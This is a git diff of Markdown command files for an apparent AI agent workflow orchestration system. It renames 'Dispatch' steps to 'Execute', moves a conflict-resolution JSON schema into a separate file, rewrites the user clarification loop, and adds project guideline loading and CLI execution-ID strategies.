@@ -187,7 +187,7 @@ SlashCommand(command="/workflow:session:start --type test --new \"Test generatio
 
 #### Phase 2: Gather Test Context
 
-**Step 2.1: Dispatch** - Gather test context via appropriate method
+**Step 2.1: Execute** - Gather test context via appropriate method
 
 ```javascript
 // Session Mode
@@ -224,7 +224,7 @@ SlashCommand(command="/workflow:tools:context-gather --session [testSessionId] \
 
 #### Phase 3: Test Generation Analysis
 
-**Step 3.1: Dispatch** - Generate test requirements using Gemini
+**Step 3.1: Execute** - Generate test requirements using Gemini
 
 ```javascript
 SlashCommand(command="/workflow:tools:test-concept-enhanced --session [testSessionId] --context [contextPath]")
@@ -284,7 +284,7 @@ For each targeted file/function, Gemini MUST generate:
 
 #### Phase 4: Generate Test Tasks
 
-**Step 4.1: Dispatch** - Generate test task JSONs
+**Step 4.1: Execute** - Generate test task JSONs
 
 ```javascript
 SlashCommand(command="/workflow:tools:test-task-generate --session [testSessionId]")
@@ -381,7 +381,7 @@ CRITICAL - Next Steps:
 
 #### Key Principles
 
-1. **Task Attachment** (when SlashCommand dispatched):
+1. **Task Attachment** (when SlashCommand executed):
    - Sub-command's internal tasks are **attached** to orchestrator's TodoWrite
    - Example - Phase 2 with sub-tasks:
    ```json
@@ -416,7 +416,7 @@ CRITICAL - Next Steps:
    - No user intervention required between phases
    - TodoWrite dynamically reflects current execution state
 
-**Lifecycle Summary**: Initial pending tasks → Phase dispatched (tasks ATTACHED with mode-specific context gathering) → Sub-tasks executed sequentially → Phase completed (tasks COLLAPSED to summary) → Next phase begins → Repeat until all phases complete.
+**Lifecycle Summary**: Initial pending tasks → Phase executed (tasks ATTACHED with mode-specific context gathering) → Sub-tasks executed sequentially → Phase completed (tasks COLLAPSED to summary) → Next phase begins → Repeat until all phases complete.
 
 #### Test-Fix-Gen Specific Features
 

.claude/commands/workflow/test-gen.md

@@ -20,7 +20,7 @@ allowed-tools: SlashCommand(*), TodoWrite(*), Read(*), Bash(*)
 
 **Task Attachment Model**:
 - SlashCommand dispatch **expands workflow** by attaching sub-tasks to current TodoWrite
-- When a sub-command is dispatched (e.g., `/workflow:tools:test-context-gather`), its internal tasks are attached to the orchestrator's TodoWrite
+- When a sub-command is executed (e.g., `/workflow:tools:test-context-gather`), its internal tasks are attached to the orchestrator's TodoWrite
 - Orchestrator **executes these attached tasks** sequentially
 - After completion, attached tasks are **collapsed** back to high-level phase summary
 - This is **task expansion**, not external delegation
@@ -69,7 +69,7 @@ Read(".workflow/active/[sourceSessionId]/.process/context-package.json")
 // This preserves user's CLI tool preferences (e.g., "use Codex for fixes")
 ```
 
-**Step 1.1: Dispatch** - Create new test workflow session with preserved intent
+**Step 1.1: Execute** - Create new test workflow session with preserved intent
 
 ```javascript
 // Include original task description to enable semantic CLI selection
@@ -104,7 +104,7 @@ SlashCommand(command="/workflow:session:start --new \"Test validation for [sourc
 
 ### Phase 2: Gather Test Context
 
-**Step 2.1: Dispatch** - Gather test coverage context from source session
+**Step 2.1: Execute** - Gather test coverage context from source session
 
 ```javascript
 SlashCommand(command="/workflow:tools:test-context-gather --session [testSessionId]")
@@ -130,9 +130,9 @@ SlashCommand(command="/workflow:tools:test-context-gather --session [testSession
 - Test framework detected
 - Test conventions documented
 
-<!-- TodoWrite: When test-context-gather dispatched, INSERT 3 test-context-gather tasks -->
+<!-- TodoWrite: When test-context-gather executed, INSERT 3 test-context-gather tasks -->
 
-**TodoWrite Update (Phase 2 SlashCommand dispatched - tasks attached)**:
+**TodoWrite Update (Phase 2 SlashCommand executed - tasks attached)**:
 ```json
 [
   {"content": "Create independent test session", "status": "completed", "activeForm": "Creating test session"},
@@ -168,7 +168,7 @@ SlashCommand(command="/workflow:tools:test-context-gather --session [testSession
 
 ### Phase 3: Test Generation Analysis
 
-**Step 3.1: Dispatch** - Analyze test requirements with Gemini
+**Step 3.1: Execute** - Analyze test requirements with Gemini
 
 ```javascript
 SlashCommand(command="/workflow:tools:test-concept-enhanced --session [testSessionId] --context [testContextPath]")
@@ -199,9 +199,9 @@ SlashCommand(command="/workflow:tools:test-concept-enhanced --session [testSessi
   - Implementation Targets (test files to create)
   - Success Criteria
 
-<!-- TodoWrite: When test-concept-enhanced dispatched, INSERT 3 concept-enhanced tasks -->
+<!-- TodoWrite: When test-concept-enhanced executed, INSERT 3 concept-enhanced tasks -->
 
-**TodoWrite Update (Phase 3 SlashCommand dispatched - tasks attached)**:
+**TodoWrite Update (Phase 3 SlashCommand executed - tasks attached)**:
 ```json
 [
   {"content": "Create independent test session", "status": "completed", "activeForm": "Creating test session"},
@@ -237,7 +237,7 @@ SlashCommand(command="/workflow:tools:test-concept-enhanced --session [testSessi
 
 ### Phase 4: Generate Test Tasks
 
-**Step 4.1: Dispatch** - Generate test task JSON files and planning documents
+**Step 4.1: Execute** - Generate test task JSON files and planning documents
 
 ```javascript
 SlashCommand(command="/workflow:tools:test-task-generate --session [testSessionId]")
@@ -287,9 +287,9 @@ SlashCommand(command="/workflow:tools:test-task-generate --session [testSessionI
   - Phase 2: Iterative Gemini diagnosis + fixes (agent or CLI based on step's `command` field)
   - Phase 3: Final validation and certification
 
-<!-- TodoWrite: When test-task-generate dispatched, INSERT 3 test-task-generate tasks -->
+<!-- TodoWrite: When test-task-generate executed, INSERT 3 test-task-generate tasks -->
 
-**TodoWrite Update (Phase 4 SlashCommand dispatched - tasks attached)**:
+**TodoWrite Update (Phase 4 SlashCommand executed - tasks attached)**:
 ```json
 [
   {"content": "Create independent test session", "status": "completed", "activeForm": "Creating test session"},
@@ -364,7 +364,7 @@ Ready for execution. Use appropriate workflow commands to proceed.
 
 ### Key Principles
 
-1. **Task Attachment** (when SlashCommand dispatched):
+1. **Task Attachment** (when SlashCommand executed):
    - Sub-command's internal tasks are **attached** to orchestrator's TodoWrite
    - Example: `/workflow:tools:test-context-gather` attaches 3 sub-tasks (Phase 2.1, 2.2, 2.3)
    - First attached task marked as `in_progress`, others as `pending`
@@ -381,7 +381,7 @@ Ready for execution. Use appropriate workflow commands to proceed.
    - No user intervention required between phases
    - TodoWrite dynamically reflects current execution state
 
-**Lifecycle Summary**: Initial pending tasks → Phase dispatched (tasks ATTACHED) → Sub-tasks executed sequentially → Phase completed (tasks COLLAPSED to summary) → Next phase begins → Repeat until all phases complete.
+**Lifecycle Summary**: Initial pending tasks → Phase executed (tasks ATTACHED) → Sub-tasks executed sequentially → Phase completed (tasks COLLAPSED to summary) → Next phase begins → Repeat until all phases complete.
 
 ### Test-Gen Specific Features
 
@@ -517,7 +517,7 @@ See `/workflow:tools:test-task-generate` for complete JSON schemas.
 **Prerequisite Commands**:
 - `/workflow:plan` or `/workflow:execute` - Complete implementation session that needs test validation
 
-**Dispatched by This Command** (4 phases):
+**Executed by This Command** (4 phases):
 - `/workflow:session:start` - Phase 1: Create independent test workflow session
 - `/workflow:tools:test-context-gather` - Phase 2: Analyze test coverage and gather source session context
 - `/workflow:tools:test-concept-enhanced` - Phase 3: Generate test requirements and strategy using Gemini

.claude/commands/workflow/tools/conflict-resolution.md

@@ -124,6 +124,9 @@ Task(subagent_type="cli-execution-agent", run_in_background=false, prompt=`
 
   ## Analysis Steps
 
+  ### 0. Load Output Schema (MANDATORY)
+  Execute: cat ~/.claude/workflows/cli-templates/schemas/conflict-resolution-schema.json
+
   ### 1. Load Context
   - Read existing files from conflict_detection.existing_files
   - Load plan from .workflow/active/{session_id}/.process/context-package.json
@@ -171,123 +174,14 @@ Task(subagent_type="cli-execution-agent", run_in_background=false, prompt=`
 
   ⚠️ Output to conflict-resolution.json (generated in Phase 4)
 
-  Return JSON format for programmatic processing:
+  **Schema Reference**: Execute \`cat ~/.claude/workflows/cli-templates/schemas/conflict-resolution-schema.json\` to get full schema
 
-  \`\`\`json
-  {
-    "conflicts": [
-      {
-        "id": "CON-001",
-        "brief": "一行中文冲突摘要",
-        "severity": "Critical|High|Medium",
-        "category": "Architecture|API|Data|Dependency|ModuleOverlap",
-        "affected_files": [
-          ".workflow/active/{session}/.brainstorm/guidance-specification.md",
-          ".workflow/active/{session}/.brainstorm/system-architect/analysis.md"
-        ],
-        "description": "详细描述冲突 - 什么不兼容",
-        "impact": {
-          "scope": "影响的模块/组件",
-          "compatibility": "Yes|No|Partial",
-          "migration_required": true|false,
-          "estimated_effort": "人天估计"
-        },
-        "overlap_analysis": {
-          "// NOTE": "仅当 category=ModuleOverlap 时需要此字段",
-          "new_module": {
-            "name": "新模块名称",
-            "scenarios": ["场景1", "场景2", "场景3"],
-            "responsibilities": "职责描述"
-          },
-          "existing_modules": [
-            {
-              "file": "src/existing/module.ts",
-              "name": "现有模块名称",
-              "scenarios": ["场景A", "场景B"],
-              "overlap_scenarios": ["重叠场景1", "重叠场景2"],
-              "responsibilities": "现有模块职责"
-            }
-          ]
-        },
-        "strategies": [
-          {
-            "name": "策略名称（中文）",
-            "approach": "实现方法简述",
-            "complexity": "Low|Medium|High",
-            "risk": "Low|Medium|High",
-            "effort": "时间估计",
-            "pros": ["优点1", "优点2"],
-            "cons": ["缺点1", "缺点2"],
-            "clarification_needed": [
-              "// NOTE: 仅当需要用户进一步澄清时需要此字段（尤其是 ModuleOverlap）",
-              "新模块的核心职责边界是什么？",
-              "如何与现有模块 X 协作？",
-              "哪些场景应该由新模块处理？"
-            ],
-            "modifications": [
-              {
-                "file": ".workflow/active/{session}/.brainstorm/guidance-specification.md",
-                "section": "## 2. System Architect Decisions",
-                "change_type": "update",
-                "old_content": "原始内容片段（用于定位）",
-                "new_content": "修改后的内容",
-                "rationale": "为什么这样改"
-              },
-              {
-                "file": ".workflow/active/{session}/.brainstorm/system-architect/analysis.md",
-                "section": "## Design Decisions",
-                "change_type": "update",
-                "old_content": "原始内容片段",
-                "new_content": "修改后的内容",
-                "rationale": "修改理由"
-              }
-            ]
-          },
-          {
-            "name": "策略2名称",
-            "approach": "...",
-            "complexity": "Medium",
-            "risk": "Low",
-            "effort": "1-2天",
-            "pros": ["优点"],
-            "cons": ["缺点"],
-            "modifications": [...]
-          }
-        ],
-        "recommended": 0,
-        "modification_suggestions": [
-          "建议1：具体的修改方向或注意事项",
-          "建议2：可能需要考虑的边界情况",
-          "建议3：相关的最佳实践或模式"
-        ]
-      }
-    ],
-    "summary": {
-      "total": 2,
-      "critical": 1,
-      "high": 1,
-      "medium": 0
-    }
-  }
-  \`\`\`
-
-  ⚠️ CRITICAL Requirements for modifications field:
-  - old_content: Must be exact text from target file (20-100 chars for unique match)
-  - new_content: Complete replacement text (maintains formatting)
-  - change_type: "update" (replace), "add" (insert), "remove" (delete)
-  - file: Full path relative to project root
-  - section: Markdown heading for context (helps locate position)
+  Return JSON following the schema above. Key requirements:
   - Minimum 2 strategies per conflict, max 4
-  - All text in Chinese for user-facing fields (brief, name, pros, cons)
-  - modification_suggestions: 2-5 actionable suggestions for custom handling (Chinese)
-
-  Quality Standards:
-  - Each strategy must have actionable modifications
-  - old_content must be precise enough for Edit tool matching
-  - new_content preserves markdown formatting and structure
-  - Recommended strategy (index) based on lowest complexity + risk
-  - modification_suggestions must be specific, actionable, and context-aware
-  - Each suggestion should address a specific aspect (compatibility, migration, testing, etc.)
+  - All text in Chinese for user-facing fields (brief, name, pros, cons, modification_suggestions)
+  - modifications.old_content: 20-100 chars for unique Edit tool matching
+  - modifications.new_content: preserves markdown formatting
+  - modification_suggestions: 2-5 actionable suggestions for custom handling
 `)
 ```
 
@@ -312,143 +206,85 @@ Task(subagent_type="cli-execution-agent", run_in_background=false, prompt=`
 8. Return execution log path
 ```
 
-### Phase 3: Iterative User Interaction with Clarification Loop
+### Phase 3: User Interaction Loop
 
-**Execution Flow**:
-```
-FOR each conflict (逐个处理，无数量限制):
-  clarified = false
-  round = 0
-  userClarifications = []
+```javascript
+FOR each conflict:
+  round = 0, clarified = false, userClarifications = []
 
-  WHILE (!clarified && round < 10):
-    round++
+  WHILE (!clarified && round++ < 10):
+    // 1. Display conflict info (text output for context)
+    displayConflictSummary(conflict)  // id, brief, severity, overlap_analysis if ModuleOverlap
 
-    // 1. Display conflict (包含所有关键字段)
-    - category, id, brief, severity, description
-    - IF ModuleOverlap: 展示 overlap_analysis
-      * new_module: {name, scenarios, responsibilities}
-      * existing_modules[]: {file, name, scenarios, overlap_scenarios, responsibilities}
+    // 2. Strategy selection via AskUserQuestion
+    AskUserQuestion({
+      questions: [{
+        question: formatStrategiesForDisplay(conflict.strategies),
+        header: "策略选择",
+        multiSelect: false,
+        options: [
+          ...conflict.strategies.map((s, i) => ({
+            label: `${s.name}${i === conflict.recommended ? ' (推荐)' : ''}`,
+            description: `${s.complexity}复杂度 | ${s.risk}风险${s.clarification_needed?.length ? ' | ⚠️需澄清' : ''}`
+          })),
+          { label: "自定义修改", description: `建议: ${conflict.modification_suggestions?.slice(0,2).join('; ')}` }
+        ]
+      }]
+    })
 
-    // 2. Display strategies (2-4个策略 + 自定义选项)
-    - FOR each strategy: {name, approach, complexity, risk, effort, pros, cons}
-      * IF clarification_needed: 展示待澄清问题列表
-    - 自定义选项: {suggestions: modification_suggestions[]}
+    // 3. Handle selection
+    if (userChoice === "自定义修改") {
+      customConflicts.push({ id, brief, category, suggestions, overlap_analysis })
+      break
+    }
 
-    // 3. User selects strategy
-    userChoice = readInput()
+    selectedStrategy = findStrategyByName(userChoice)
 
-    IF userChoice == "自定义":
-      customConflicts.push({id, brief, category, suggestions, overlap_analysis})
-      clarified = true
-      BREAK
+    // 4. Clarification (if needed) - batched max 4 per call
+    if (selectedStrategy.clarification_needed?.length > 0) {
+      for (batch of chunk(selectedStrategy.clarification_needed, 4)) {
+        AskUserQuestion({
+          questions: batch.map((q, i) => ({
+            question: q, header: `澄清${i+1}`, multiSelect: false,
+            options: [{ label: "详细说明", description: "提供答案" }]
+          }))
+        })
+        userClarifications.push(...collectAnswers(batch))
+      }
 
-    selectedStrategy = strategies[userChoice]
-
-    // 4. Clarification loop
-    IF selectedStrategy.clarification_needed.length > 0:
-      // 收集澄清答案
-      FOR each question:
-        answer = readInput()
-        userClarifications.push({question, answer})
-
-      // Agent 重新分析
-      reanalysisResult = Task(cli-execution-agent, prompt={
-        冲突信息: {id, brief, category, 策略}
-        用户澄清: userClarifications[]
-        场景分析: overlap_analysis (if ModuleOverlap)
-
-        输出: {
-          uniqueness_confirmed: bool,
-          rationale: string,
-          updated_strategy: {name, approach, complexity, risk, effort, modifications[]},
-          remaining_questions: [] (如果仍有歧义)
-        }
+      // 5. Agent re-analysis
+      reanalysisResult = Task({
+        subagent_type: "cli-execution-agent",
+        run_in_background: false,
+        prompt: `Conflict: ${conflict.id}, Strategy: ${selectedStrategy.name}
+User Clarifications: ${JSON.stringify(userClarifications)}
+Output: { uniqueness_confirmed, rationale, updated_strategy, remaining_questions }`
       })
 
-      IF reanalysisResult.uniqueness_confirmed:
-        selectedStrategy = updated_strategy
-        selectedStrategy.clarifications = userClarifications
+      if (reanalysisResult.uniqueness_confirmed) {
+        selectedStrategy = { ...reanalysisResult.updated_strategy, clarifications: userClarifications }
         clarified = true
-      ELSE:
-        // 更新澄清问题，继续下一轮
-        selectedStrategy.clarification_needed = remaining_questions
-    ELSE:
+      } else {
+        selectedStrategy.clarification_needed = reanalysisResult.remaining_questions
+      }
+    } else {
       clarified = true
+    }
 
-    resolvedConflicts.push({conflict, strategy: selectedStrategy})
+    if (clarified) resolvedConflicts.push({ conflict, strategy: selectedStrategy })
   END WHILE
 END FOR
 
-// Build output
 selectedStrategies = resolvedConflicts.map(r => ({
-  conflict_id, strategy, clarifications[]
+  conflict_id: r.conflict.id, strategy: r.strategy, clarifications: r.strategy.clarifications || []
 }))
 ```
 
-**Key Data Structures**:
-
-```javascript
-// Custom conflict tracking
-customConflicts[] = {
-  id, brief, category,
-  suggestions: modification_suggestions[],
-  overlap_analysis: { new_module{}, existing_modules[] }  // ModuleOverlap only
-}
-
-// Agent re-analysis prompt output
-{
-  uniqueness_confirmed: bool,
-  rationale: string,
-  updated_strategy: {
-    name, approach, complexity, risk, effort,
-    modifications: [{file, section, change_type, old_content, new_content, rationale}]
-  },
-  remaining_questions: string[]
-}
-```
-
-**Text Output Example** (展示关键字段):
-
-```markdown
-============================================================
-冲突 1/3 - 第 1 轮
-============================================================
-【ModuleOverlap】CON-001: 新增用户认证服务与现有模块功能重叠
-严重程度: High | 描述: 计划中的 UserAuthService 与现有 AuthManager 场景重叠
-
---- 场景重叠分析 ---
-新模块: UserAuthService | 场景: 登录, Token验证, 权限, MFA
-现有模块: AuthManager (src/auth/AuthManager.ts) | 重叠: 登录, Token验证
-
---- 解决策略 ---
-1) 合并 (Low复杂度 | Low风险 | 2-3天)
-   ⚠️ 需澄清: AuthManager是否能承担MFA？
-
-2) 拆分边界 (Medium复杂度 | Medium风险 | 4-5天)
-   ⚠️ 需澄清: 基础/高级认证边界? Token验证归谁?
-
-3) 自定义修改
-   建议: 评估扩展性; 策略模式分离; 定义接口边界
-
-请选择 (1-3): > 2
-
---- 澄清问答 (第1轮) ---
-Q: 基础/高级认证边界?
-A: 基础=密码登录+token验证, 高级=MFA+OAuth+SSO
-
-Q: Token验证归谁?
-A: 统一由 AuthManager 负责
-
-🔄 重新分析...
-✅ 唯一性已确认 | 理由: 边界清晰 - AuthManager(基础+token), UserAuthService(MFA+OAuth+SSO)
-
-============================================================
-冲突 2/3 - 第 1 轮 [下一个冲突]
-============================================================
-```
-
-**Loop Characteristics**: 逐个处理 | 无限轮次(max 10) | 动态问题生成 | Agent重新分析判断唯一性 | ModuleOverlap场景边界澄清
+**Key Points**:
+- AskUserQuestion: max 4 questions/call, batch if more
+- Strategy options: 2-4 strategies + "自定义修改"
+- Clarification loop: max 10 rounds, agent判断 uniqueness_confirmed
+- Custom conflicts: 记录 overlap_analysis 供后续手动处理
 
 ### Phase 4: Apply Modifications
 

.claude/commands/workflow/tools/context-gather.md

@@ -15,7 +15,6 @@ allowed-tools: Task(*), Read(*), Glob(*)
 
 Orchestrator command that invokes `context-search-agent` to gather comprehensive project context for implementation planning. Generates standardized `context-package.json` with codebase analysis, dependencies, and conflict detection.
 
-**Agent**: `context-search-agent` (`.claude/agents/context-search-agent.md`)
 
 ## Core Philosophy
 
@@ -237,7 +236,10 @@ Task(
 Execute complete context-search-agent workflow for implementation planning:
 
 ### Phase 1: Initialization & Pre-Analysis
-1. **Project State Loading**: Read and parse `.workflow/project.json`. Use its `overview` section as the foundational `project_context`. This is your primary source for architecture, tech stack, and key components. If file doesn't exist, proceed with fresh analysis.
+1. **Project State Loading**:
+   - Read and parse `.workflow/project-tech.json`. Use its `technology_analysis` section as the foundational `project_context`. This is your primary source for architecture, tech stack, and key components.
+   - Read and parse `.workflow/project-guidelines.json`. Load `conventions`, `constraints`, and `learnings` into a `project_guidelines` section.
+   - If files don't exist, proceed with fresh analysis.
 2. **Detection**: Check for existing context-package (early exit if valid)
 3. **Foundation**: Initialize CodexLens, get project structure, load docs
 4. **Analysis**: Extract keywords, determine scope, classify complexity based on task description and project state
@@ -252,17 +254,19 @@ Execute all discovery tracks:
 
 ### Phase 3: Synthesis, Assessment & Packaging
 1. Apply relevance scoring and build dependency graph
-2. **Synthesize 4-source data**: Merge findings from all sources (archive > docs > code > web). **Prioritize the context from `project.json`** for architecture and tech stack unless code analysis reveals it's outdated.
-3. **Populate `project_context`**: Directly use the `overview` from `project.json` to fill the `project_context` section of the output `context-package.json`. Include description, technology_stack, architecture, and key_components.
-4. Integrate brainstorm artifacts (if .brainstorming/ exists, read content)
-5. Perform conflict detection with risk assessment
-6. **Inject historical conflicts** from archive analysis into conflict_detection
-7. Generate and validate context-package.json
+2. **Synthesize 4-source data**: Merge findings from all sources (archive > docs > code > web). **Prioritize the context from `project-tech.json`** for architecture and tech stack unless code analysis reveals it's outdated.
+3. **Populate `project_context`**: Directly use the `technology_analysis` from `project-tech.json` to fill the `project_context` section. Include description, technology_stack, architecture, and key_components.
+4. **Populate `project_guidelines`**: Load conventions, constraints, and learnings from `project-guidelines.json` into a dedicated section.
+5. Integrate brainstorm artifacts (if .brainstorming/ exists, read content)
+6. Perform conflict detection with risk assessment
+7. **Inject historical conflicts** from archive analysis into conflict_detection
+8. Generate and validate context-package.json
 
 ## Output Requirements
 Complete context-package.json with:
 - **metadata**: task_description, keywords, complexity, tech_stack, session_id
-- **project_context**: description, technology_stack, architecture, key_components (sourced from `project.json` overview)
+- **project_context**: description, technology_stack, architecture, key_components (sourced from `project-tech.json`)
+- **project_guidelines**: {conventions, constraints, quality_rules, learnings} (sourced from `project-guidelines.json`)
 - **assets**: {documentation[], source_code[], config[], tests[]} with relevance scores
 - **dependencies**: {internal[], external[]} with dependency graph
 - **brainstorm_artifacts**: {guidance_specification, role_analyses[], synthesis_output} with content
@@ -315,7 +319,8 @@ Refer to `context-search-agent.md` Phase 3.7 for complete `context-package.json`
 
 **Key Sections**:
 - **metadata**: Session info, keywords, complexity, tech stack
-- **project_context**: Architecture patterns, conventions, tech stack (populated from `project.json` overview)
+- **project_context**: Architecture patterns, conventions, tech stack (populated from `project-tech.json`)
+- **project_guidelines**: Conventions, constraints, quality rules, learnings (populated from `project-guidelines.json`)
 - **assets**: Categorized files with relevance scores (documentation, source_code, config, tests)
 - **dependencies**: Internal and external dependency graphs
 - **brainstorm_artifacts**: Brainstorm documents with full content (if exists)
@@ -430,7 +435,7 @@ if (historicalConflicts.length > 0 && currentRisk === "low") {
 ## Notes
 
 - **Detection-first**: Always check for existing package before invoking agent
-- **Project.json integration**: Agent reads `.workflow/project.json` as primary source for project context, avoiding redundant analysis
-- **Agent autonomy**: Agent handles all discovery logic per `.claude/agents/context-search-agent.md`
+- **Dual project file integration**: Agent reads both `.workflow/project-tech.json` (tech analysis) and `.workflow/project-guidelines.json` (user constraints) as primary sources
+- **Guidelines injection**: Project guidelines are included in context-package to ensure task generation respects user-defined constraints
 - **No redundancy**: This command is a thin orchestrator, all logic in agent
 - **Plan-specific**: Use this for implementation planning; brainstorm mode uses direct agent call

.claude/commands/workflow/tools/task-generate-agent.md

@@ -354,19 +354,20 @@ Generate task JSON files for ${module.name} module within workflow session
 IMPORTANT: This is PLANNING ONLY - generate task JSONs, NOT implementing code.
 IMPORTANT: Generate Task JSONs ONLY. IMPL_PLAN.md and TODO_LIST.md by Phase 3 Coordinator.
 
-CRITICAL: Follow progressive loading strategy in agent specification
+CRITICAL: Follow the progressive loading strategy defined in agent specification (load analysis.md files incrementally due to file size)
 
 ## MODULE SCOPE
 - Module: ${module.name} (${module.type})
 - Focus Paths: ${module.paths.join(', ')}
 - Task ID Prefix: IMPL-${module.prefix}
-- Task Limit: ≤9 tasks
-- Other Modules: ${otherModules.join(', ')}
+- Task Limit: ≤9 tasks (hard limit for this module)
+- Other Modules: ${otherModules.join(', ')} (reference only, do NOT generate tasks for them)
 
 ## SESSION PATHS
 Input:
   - Session Metadata: .workflow/active/{session-id}/workflow-session.json
   - Context Package: .workflow/active/{session-id}/.process/context-package.json
+
 Output:
   - Task Dir: .workflow/active/{session-id}/.task/
 
@@ -374,21 +375,93 @@ Output:
 Session ID: {session-id}
 MCP Capabilities: {exa_code, exa_web, code_index}
 
+## USER CONFIGURATION (from Phase 0)
+Execution Method: ${userConfig.executionMethod}  // agent|hybrid|cli
+Preferred CLI Tool: ${userConfig.preferredCliTool}  // codex|gemini|qwen|auto
+Supplementary Materials: ${userConfig.supplementaryMaterials}
+
+## CLI TOOL SELECTION
+Based on userConfig.executionMethod:
+- "agent": No command field in implementation_approach steps
+- "hybrid": Add command field to complex steps only (agent handles simple steps)
+- "cli": Add command field to ALL implementation_approach steps
+
+CLI Resume Support (MANDATORY for all CLI commands):
+- Use --resume parameter to continue from previous task execution
+- Read previous task's cliExecutionId from session state
+- Format: ccw cli -p "[prompt]" --resume ${previousCliId} --tool ${tool} --mode write
+
+## EXPLORATION CONTEXT (from context-package.exploration_results)
+- Load exploration_results from context-package.json
+- Filter for ${module.name} module: Use aggregated_insights.critical_files matching ${module.paths.join(', ')}
+- Apply module-relevant constraints from aggregated_insights.constraints
+- Reference aggregated_insights.all_patterns applicable to ${module.name}
+- Use aggregated_insights.all_integration_points for precise modification locations within module scope
+- Use conflict_indicators for risk-aware task sequencing
+
+## CONFLICT RESOLUTION CONTEXT (if exists)
+- Check context-package.conflict_detection.resolution_file for conflict-resolution.json path
+- If exists, load .process/conflict-resolution.json:
+  - Apply planning_constraints relevant to ${module.name} as task constraints
+  - Reference resolved_conflicts affecting ${module.name} for implementation approach alignment
+  - Handle custom_conflicts with explicit task notes
+
 ## CROSS-MODULE DEPENDENCIES
-- Use placeholder: depends_on: ["CROSS::{module}::{pattern}"]
-- Example: depends_on: ["CROSS::B::api-endpoint"]
+- For dependencies ON other modules: Use placeholder depends_on: ["CROSS::{module}::{pattern}"]
+- Example: depends_on: ["CROSS::B::api-endpoint"] (this module depends on B's api-endpoint task)
 - Phase 3 Coordinator resolves to actual task IDs
+- For dependencies FROM other modules: Document in task context as "provides_for" annotation
 
 ## EXPECTED DELIVERABLES
 Task JSON Files (.task/IMPL-${module.prefix}*.json):
-  - 6-field schema per agent specification
+  - 6-field schema (id, title, status, context_package_path, meta, context, flow_control)
   - Task ID format: IMPL-${module.prefix}1, IMPL-${module.prefix}2, ...
+  - Quantified requirements with explicit counts
+  - Artifacts integration from context package (filtered for ${module.name})
+  - **focus_paths enhanced with exploration critical_files (module-scoped)**
+  - Flow control with pre_analysis steps (include exploration integration_points analysis)
+  - **CLI Execution IDs and strategies (MANDATORY)**
   - Focus ONLY on ${module.name} module scope
 
+## CLI EXECUTION ID REQUIREMENTS (MANDATORY)
+Each task JSON MUST include:
+- **cli_execution_id**: Unique ID for CLI execution (format: `{session_id}-IMPL-${module.prefix}{seq}`)
+- **cli_execution**: Strategy object based on depends_on:
+  - No deps → `{ "strategy": "new" }`
+  - 1 dep (single child) → `{ "strategy": "resume", "resume_from": "parent-cli-id" }`
+  - 1 dep (multiple children) → `{ "strategy": "fork", "resume_from": "parent-cli-id" }`
+  - N deps → `{ "strategy": "merge_fork", "merge_from": ["id1", "id2", ...] }`
+  - Cross-module dep → `{ "strategy": "cross_module_fork", "resume_from": "CROSS::{module}::{pattern}" }`
+
+**CLI Execution Strategy Rules**:
+1. **new**: Task has no dependencies - starts fresh CLI conversation
+2. **resume**: Task has 1 parent AND that parent has only this child - continues same conversation
+3. **fork**: Task has 1 parent BUT parent has multiple children - creates new branch with parent context
+4. **merge_fork**: Task has multiple parents - merges all parent contexts into new conversation
+5. **cross_module_fork**: Task depends on task from another module - Phase 3 resolves placeholder
+
+**Execution Command Patterns**:
+- new: `ccw cli -p "[prompt]" --tool [tool] --mode write --id [cli_execution_id]`
+- resume: `ccw cli -p "[prompt]" --resume [resume_from] --tool [tool] --mode write`
+- fork: `ccw cli -p "[prompt]" --resume [resume_from] --id [cli_execution_id] --tool [tool] --mode write`
+- merge_fork: `ccw cli -p "[prompt]" --resume [merge_from.join(',')] --id [cli_execution_id] --tool [tool] --mode write`
+- cross_module_fork: (Phase 3 resolves placeholder, then uses fork pattern)
+
+## QUALITY STANDARDS
+Hard Constraints:
+  - Task count <= 9 for this module (hard limit - coordinate with Phase 3 if exceeded)
+  - All requirements quantified (explicit counts and enumerated lists)
+  - Acceptance criteria measurable (include verification commands)
+  - Artifact references mapped from context package (module-scoped filter)
+  - Focus paths use absolute paths or clear relative paths from project root
+  - Cross-module dependencies use CROSS:: placeholder format
+
 ## SUCCESS CRITERIA
 - Task JSONs saved to .task/ with IMPL-${module.prefix}* naming
-- Cross-module dependencies use CROSS:: placeholder format
-- Return task count and brief summary
+- All task JSONs include cli_execution_id and cli_execution strategy
+- Cross-module dependencies use CROSS:: placeholder format consistently
+- Focus paths scoped to ${module.paths.join(', ')} only
+- Return: task count, task IDs, dependency summary (internal + cross-module)
     `
   )
 );

.claude/commands/workflow/tools/task-generate-tdd.md

@@ -239,15 +239,6 @@ If conflict_risk was medium/high, modifications have been applied to:
 
 **Agent Configuration Reference**: All TDD task generation rules, quantification requirements, Red-Green-Refactor cycle structure, quality standards, and execution details are defined in action-planning-agent.
 
-Refer to: @.claude/agents/action-planning-agent.md for:
-- TDD Task Decomposition Standards
-- Red-Green-Refactor Cycle Requirements
-- Quantification Requirements (MANDATORY)
-- 5-Field Task JSON Schema
-- IMPL_PLAN.md Structure (TDD variant)
-- TODO_LIST.md Format
-- TDD Execution Flow & Quality Validation
-
 ### TDD-Specific Requirements Summary
 
 #### Task Structure Philosophy

.claude/commands/workflow/tools/test-context-gather.md

@@ -14,7 +14,7 @@ allowed-tools: Task(*), Read(*), Glob(*)
 
 Orchestrator command that invokes `test-context-search-agent` to gather comprehensive test coverage context for test generation workflows. Generates standardized `test-context-package.json` with coverage analysis, framework detection, and source implementation context.
 
-**Agent**: `test-context-search-agent` (`.claude/agents/test-context-search-agent.md`)
+
 
 ## Core Philosophy
 
@@ -89,7 +89,6 @@ Task(
   run_in_background=false,
   description="Gather test coverage context",
   prompt=`
-You are executing as test-context-search-agent (.claude/agents/test-context-search-agent.md).
 
 ## Execution Mode
 **PLAN MODE** (Comprehensive) - Full Phase 1-3 execution
@@ -229,7 +228,7 @@ Refer to `test-context-search-agent.md` Phase 3.2 for complete `test-context-pac
 ## Notes
 
 - **Detection-first**: Always check for existing test-context-package before invoking agent
-- **Agent autonomy**: Agent handles all coverage analysis logic per `.claude/agents/test-context-search-agent.md`
+
 - **No redundancy**: This command is a thin orchestrator, all logic in agent
 - **Framework agnostic**: Supports Jest, Mocha, pytest, RSpec, Go testing, etc.
 - **Coverage focus**: Primary goal is identifying implementation files without tests

.claude/commands/workflow/tools/test-task-generate.md

@@ -107,8 +107,6 @@ CRITICAL:
 - Follow the progressive loading strategy defined in your agent specification (load context incrementally from memory-first approach)
 
